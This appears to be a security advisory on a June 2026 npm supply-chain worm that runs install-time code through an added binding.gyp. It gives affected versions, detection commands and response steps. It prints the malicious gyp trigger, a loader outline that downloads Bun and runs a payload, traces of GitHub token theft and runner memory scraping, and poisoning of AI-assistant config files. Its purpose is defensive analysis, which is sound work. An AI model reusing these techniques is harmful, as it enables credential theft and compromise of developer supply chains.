critical

CVE

Not assigned

CWE

CWE-506, CWE-494, CWE-522, CWE-829

Affected Surface

@vapi-ai/server-sdk, ai-sdk-ollama, autotel package family, awaitly package family, executable-stories package family, node-env-resolver package family, wrangler-deploy, developer workstations and CI runners performing npm install on affected versions

Two days after the compromised @redhat-cloud-services wave, the same malware family resurfaced with a different initial execution trick. On 3-4 June 2026, researchers documented a follow-on npm campaign that hit at least 57 packages across more than 286 malicious package versions, beginning with @vapi-ai/server-sdk and then rapidly backfilling ai-sdk-ollama, autotel, awaitly, executable-stories, node-env-resolver, wrangler-deploy, and related packages.

The technical change matters more than the package count. This wave did not rely on preinstall or postinstall scripts in package.json. Instead, the attacker added a tiny binding.gyp file and a large obfuscated root index.js to published tarballs. That makes “no lifecycle scripts present” an insufficient safety check for npm artifacts.

Affected packages

The table below lists the package/version pairs corroborated by both the StepSecurity and Endor Labs writeups. There is one additional package, create-wrangler-deploy@0.1.1, that currently appears only in Endor’s table; I am treating it as plausible but single-source until another maintainer or registry investigation confirms it.

PackageMalicious versions
@evolvconsulting/evolv-coder-lite1.2.0
@jagreehal/workflow1.16.1
@vapi-ai/server-sdk0.11.1, 0.11.2, 1.2.1, 1.2.2
ai-sdk-ollama0.13.1, 1.1.1, 2.2.1, 3.8.5
autotel2.26.4, 3.4.3
autotel-adapters0.3.5
autotel-audit0.1.15
autotel-aws0.13.10
autotel-backends2.12.26
autotel-cli0.8.14
autotel-cloudflare2.18.16
autotel-devtools0.1.1, 1.0.4, 2.1.1, 3.0.2, 4.0.1, 5.1.1, 6.1.2
autotel-drizzle0.0.27
autotel-edge3.16.13
autotel-eventcatalog1.0.1, 2.0.1, 3.0.1, 4.0.2, 5.0.1
autotel-hono0.4.26
autotel-mcp0.1.14, 2.0.1, 3.0.1, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.0.1, 10.0.1, 11.0.1, 13.0.1, 14.0.1, 15.0.2, 16.0.1, 17.0.2, 18.0.1, 19.0.1, 20.0.1, 21.1.1, 22.0.1, 23.0.1, 24.0.1, 25.0.1, 26.0.2, 27.0.1, 28.0.3
autotel-mcp-instrumentation29.0.2, 30.0.5, 31.0.1, 32.0.1, 33.0.2, 34.0.1
autotel-mongoose0.0.3, 1.0.2, 2.0.5, 3.0.1, 4.0.1, 5.0.2, 6.0.1
autotel-pact0.2.2, 1.0.3
autotel-playwright0.4.32
autotel-plugins0.19.26
autotel-sentry0.5.13
autotel-subscribers4.1.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.0.1, 10.0.1, 11.0.1, 12.0.1, 13.0.1, 14.1.1, 15.0.1, 16.0.2, 17.0.1, 18.0.3, 19.0.1, 20.0.1, 21.0.1, 22.0.2, 23.0.2, 24.0.1, 25.0.1, 26.0.1, 27.0.2, 28.0.2, 29.0.6, 30.0.4, 31.1.4
autotel-tanstack1.13.27
autotel-terminal2.1.1, 3.0.1, 4.0.2, 5.0.1, 6.0.3, 7.0.1, 8.0.1, 9.0.1, 10.0.2, 11.0.1, 12.0.1, 13.0.1, 14.0.1, 15.0.2, 16.0.2, 17.0.10, 18.0.4, 19.0.8, 20.0.2, 21.0.1, 22.0.2, 23.0.3
autotel-vitest0.4.26
autotel-web1.12.2
awaitly1.33.3
awaitly-analyze0.24.2, 1.1.1, 2.0.1, 3.0.1, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1
awaitly-libsql0.1.1, 1.0.1, 2.0.1, 3.0.1, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.0.1, 10.0.1, 11.0.1, 12.0.1, 13.0.1, 14.0.1, 15.0.1, 16.0.1, 17.0.1, 18.1.1, 19.0.1, 20.0.1, 21.0.1, 22.0.1
awaitly-mongo0.1.1, 1.0.1, 2.0.1, 3.0.1, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.1.1, 10.0.1, 11.0.1, 12.0.1, 13.0.1, 14.0.1, 15.0.1, 16.0.1, 17.0.1, 18.0.1, 19.1.1, 20.0.1, 21.0.1, 22.0.1, 23.0.1
awaitly-postgres0.1.1, 1.0.1, 2.0.1, 3.0.2, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.0.1, 10.0.1, 11.0.1, 12.0.1, 13.0.1, 14.0.1, 15.0.1, 16.0.1, 17.0.1, 18.0.1, 19.1.1, 20.0.1, 21.0.1, 22.0.1, 23.0.1
awaitly-visualizer1.0.1, 2.0.2, 3.0.1, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.0.1, 10.0.1, 11.0.1, 12.0.1, 13.0.1, 14.0.1, 15.0.1, 16.0.1, 17.0.1, 18.1.1, 19.0.1, 20.0.2, 21.0.1, 22.0.2
effect-analyzer0.3.1
eslint-plugin-awaitly0.17.1, 1.0.1
eslint-plugin-executable-stories-jest1.2.1, 2.1.8
eslint-plugin-executable-stories-playwright1.2.1, 2.1.8
eslint-plugin-executable-stories-vitest1.2.1, 2.1.8
executable-stories-cypress3.1.1, 4.0.1, 5.0.1, 6.1.1, 7.0.3, 8.3.2
executable-stories-demo0.1.11
executable-stories-formatters0.11.2
executable-stories-init0.1.2
executable-stories-jest3.1.1, 4.0.1, 5.0.1, 6.1.1, 7.0.3, 8.3.2
executable-stories-mcp0.3.3
executable-stories-playwright3.1.1, 4.0.1, 5.0.1, 6.1.1, 7.0.3, 8.4.3
executable-stories-react0.1.7
executable-stories-vitest2.0.1, 3.1.1, 4.0.1, 5.0.1, 6.1.1, 7.0.3, 8.3.3
http-uploader-dev1.0.7
mountly0.2.2
mountly-tailwind0.1.3
node-env-resolver6.5.1
node-env-resolver-aws9.1.2, 10.0.1, 11.0.1, 12.0.1
node-env-resolver-dotenvx1.0.1, 2.0.1
node-env-resolver-nextjs7.4.2
node-env-resolver-vite2.4.2
wrangler-deploy1.5.5

For defenders, the important pattern is not the maintainer name but the release shape:

  • one or more versions are pushed across several major lines within seconds
  • the legitimate package dist/ output remains unchanged
  • the tarball gains a root binding.gyp plus a multi-megabyte root index.js
  • the malicious versions become the newest satisfiable versions for common semver ranges

That combination means a normal ^1, ^2, or ^3 dependency range can all become poisoned at the same time.

The install-time execution path

The attacker weaponized npm’s native-addon flow instead of npm lifecycle scripts. The key file is the binding.gyp added to each published tarball:

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

That single sources entry is enough to turn npm install into code execution:

npm install
  -> node-gyp rebuild
  -> /bin/sh -c "node index.js > /dev/null 2>&1 && echo stub.c"
  -> node index.js
  -> download Bun v1.3.13
  -> bun run /tmp/p*.js
  -> credential theft, workflow tampering, and exfiltration

The trick works because npm treats binding.gyp as a native-build hint and runs node-gyp rebuild automatically even when package.json contains no preinstall or postinstall script. Many supply-chain checks still focus on lifecycle-script fields and never inspect the gyp path.

StepSecurity’s instrumented runner capture shows the execution chain clearly for @vapi-ai/server-sdk@1.2.2:

PID 2969: npm install @vapi-ai/server-sdk@1.2.2
PID 2980: sh -c "node-gyp rebuild"
PID 2997: /bin/sh -c "node index.js > /dev/null 2>&1 && echo stub.c"
PID 2998: node index.js
PID 3006: curl -sSL ... bun-v1.3.13 ... -o /tmp/b-*/b.zip
PID 3011: unzip -j -o /tmp/b-*/b.zip -d /tmp/b-*
PID 3013: /tmp/b-*/bun run /tmp/p*.js
PID 3026: gh auth token
PID 3035: python3 -> reads /proc/<Runner.Worker>/mem

This is a stronger signal than “a package ran an install hook.” It shows a package install pivoting into alternate-runtime staging, GitHub CLI token theft, and direct memory scraping against the GitHub Actions runner process.

The published artifacts were bolted onto otherwise clean packages

Endor’s comparison of ai-sdk-ollama@3.8.5 against the last clean 3.8.4 is useful because it shows the package’s actual application code was left untouched. The malicious release added two files while preserving the legitimate build output:

package/binding.gyp   157 B   malicious trigger
package/index.js      ~4.5 MB malicious root loader
package/dist/*        unchanged legitimate library code
package.json          main still points to ./dist/index.js

That matters operationally for two reasons:

  1. Source-repository review can miss the attack entirely when the compromise exists only in the registry tarball.
  2. Scanners that diff exported APIs or package entrypoints may see no functional change even though install-time execution was added.

The root index.js is also a reliable red flag. It is not the declared package main, yet it is multi-megabyte and heavily obfuscated. That shape is normal for a loader, not for ordinary library code.

Decode, decrypt, stage, execute

The malicious root index.js is a multi-stage loader. Public reverse engineering shows a consistent structure:

try {
  eval(rotDecode(charCodeArray, shift));
} catch (e) {}

const crypto = await import("node:crypto");
const bunLoader = aesGcmDecrypt(...);
const mainPayload = aesGcmDecrypt(...);

execSync('curl -sSL "https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/..."');
execSync('unzip -j -o ".../b.zip" -d "/tmp/b-*"');
execSync('"/tmp/b-*/bun" run "/tmp/p*.js"');

Several details are worth calling out:

  • the first layer uses a ROT-N transform over an approximately 1.3 million element character-code array, then eval()
  • the rotation value changes between versions published in the same minute, which is evasion behavior rather than a normal build delta
  • the second layer uses AES-128-GCM to unwrap both the Bun bootstrap and the main payload
  • the payload then runs under Bun, not Node.js, which changes parent/child process telemetry and can bypass monitors keyed only to node

That last point is easy to underestimate. Defenders hunting only for node child processes during package installation will miss the critical stage transition:

node index.js
  -> curl github.com/oven-sh/bun/releases/...
  -> unzip bun archive
  -> bun run /tmp/p*.js

If your CI telemetry shows unexpected Bun downloads during an npm install, that is a high-signal indicator that the compromise actually executed.

The payload targeted cloud, CI, registry, and developer tooling secrets

The decoded strings reported by StepSecurity and Endor show a collector tuned for real build and developer environments, not just .env files. Reported targets include:

AWS access keys, session tokens, IMDS and ECS credentials
GCP application-default credentials and service-account material
Azure managed-identity, service-principal, and Key Vault tokens
HashiCorp Vault tokens
Kubernetes service-account tokens
GitHub Actions OIDC tokens and masked runner secrets
npm, GitHub, and RubyGems publishing credentials
1Password, Slack, SSH, and local developer secret stores

StepSecurity’s runtime trace also observed direct scraping of the runner memory space:

python3 -> reads /proc/<Runner.Worker>/mem
tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}'

That is a materially different threat model from a package that simply reads environment variables. It means masked GitHub Actions secrets can still be recovered in cleartext if the malware reaches the runner process memory.

This was built to spread again

The operator behavior is worm-like, not smash-and-grab. Public analysis attributes the campaign to the same broader Miasma family seen in the Red Hat incident because it combines credential theft with automated re-publication and repository tampering:

  • stolen npm and RubyGems credentials can be used to republish modified artifacts
  • stolen GitHub tokens are used to enumerate writable repositories and inject files
  • GitHub API calls create new repositories to receive exfiltrated data under the liuende501 account
  • developer-tool persistence targets include .claude/setup.mjs, .claude/settings.json, .cursor/rules/setup.mdc, .gemini/settings.json, .vscode/tasks.json, and .github/setup.js

In other words, this is both package malware and developer-environment malware. A single package install can turn into:

package compromise
  -> runner secret theft
  -> repository write access
  -> AI assistant / IDE config poisoning
  -> downstream package republishing

That is why removal of the malicious version from the registry is only the beginning of incident response. By the time a package is pulled, the interesting damage may already be in GitHub workflows, IDE task files, or newly published follow-on artifacts.

Detection and scoping

Start by searching dependency manifests and lockfiles for the exact compromised packages:

npm ls @vapi-ai/server-sdk ai-sdk-ollama autotel awaitly node-env-resolver wrangler-deploy
pnpm why @vapi-ai/server-sdk ai-sdk-ollama
yarn why @vapi-ai/server-sdk ai-sdk-ollama

Then search lockfiles for the known-bad versions:

rg -n \
  "@vapi-ai/server-sdk|ai-sdk-ollama|autotel-|awaitly-|executable-stories-|node-env-resolver|wrangler-deploy" \
  package-lock.json pnpm-lock.yaml yarn.lock npm-shrinkwrap.json

On build hosts or developer machines, inspect installed tarball contents for the trigger pattern:

rg -n '"<!\(node index\.js > /dev/null 2>&1 && echo stub\.c\)"' node_modules
rg -n 'createDecipheriv\\("aes-128-gcm"|globalThis\\.getBunPath|/oven-sh/bun/releases/download/' node_modules

Look for runtime indicators as well:

rg -n \
  "Miasma - The Spreading Blight|niagA oG eW ereH :duluH-iahS|thebeautifulmarchoftime|IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner" \
  .github .claude .cursor .vscode "$HOME"

And review CI telemetry for:

node-gyp rebuild on a package that should be pure JavaScript
curl or unzip launched during npm install
downloads from github.com/oven-sh/bun/releases/
gh auth token execution in dependency-install jobs
unexpected reads of /proc/*/mem on GitHub runners
unexpected GitHub repository creation or GraphQL createCommitOnBranch calls

Response guidance

Treat installation of any affected version as code execution on the installing host.

  1. Isolate the affected workstation or runner before rotating secrets.
  2. Preserve lockfiles, CI logs, package caches, and any .claude, .cursor, .vscode, or .github files written during the exposure window.
  3. Remove affected package versions and rebuild from a clean lockfile.
  4. Rotate all credentials reachable from the host, including GitHub, npm, RubyGems, cloud, Vault, Kubernetes, SSH, and chat/integration tokens.
  5. Audit writable repositories for malicious helper files or workflow modifications.
  6. Invalidate release artifacts produced by affected runners unless the environment is proven clean.

For prevention, widen your install-time package policy beyond lifecycle scripts:

  • inspect registry tarballs, not just source repositories
  • block unexpected binding.gyp files in packages that do not legitimately ship native addons
  • flag root files that are much larger than the declared entrypoint and never imported by the package itself
  • require integrity-pinned lockfiles in CI
  • monitor for alternate-runtime downloads such as Bun during dependency installation

The lesson from this wave is straightforward: an npm package can execute malicious code even when package.json looks clean. In June 2026, binding.gyp became an execution surface that application security teams need to monitor as closely as preinstall.

References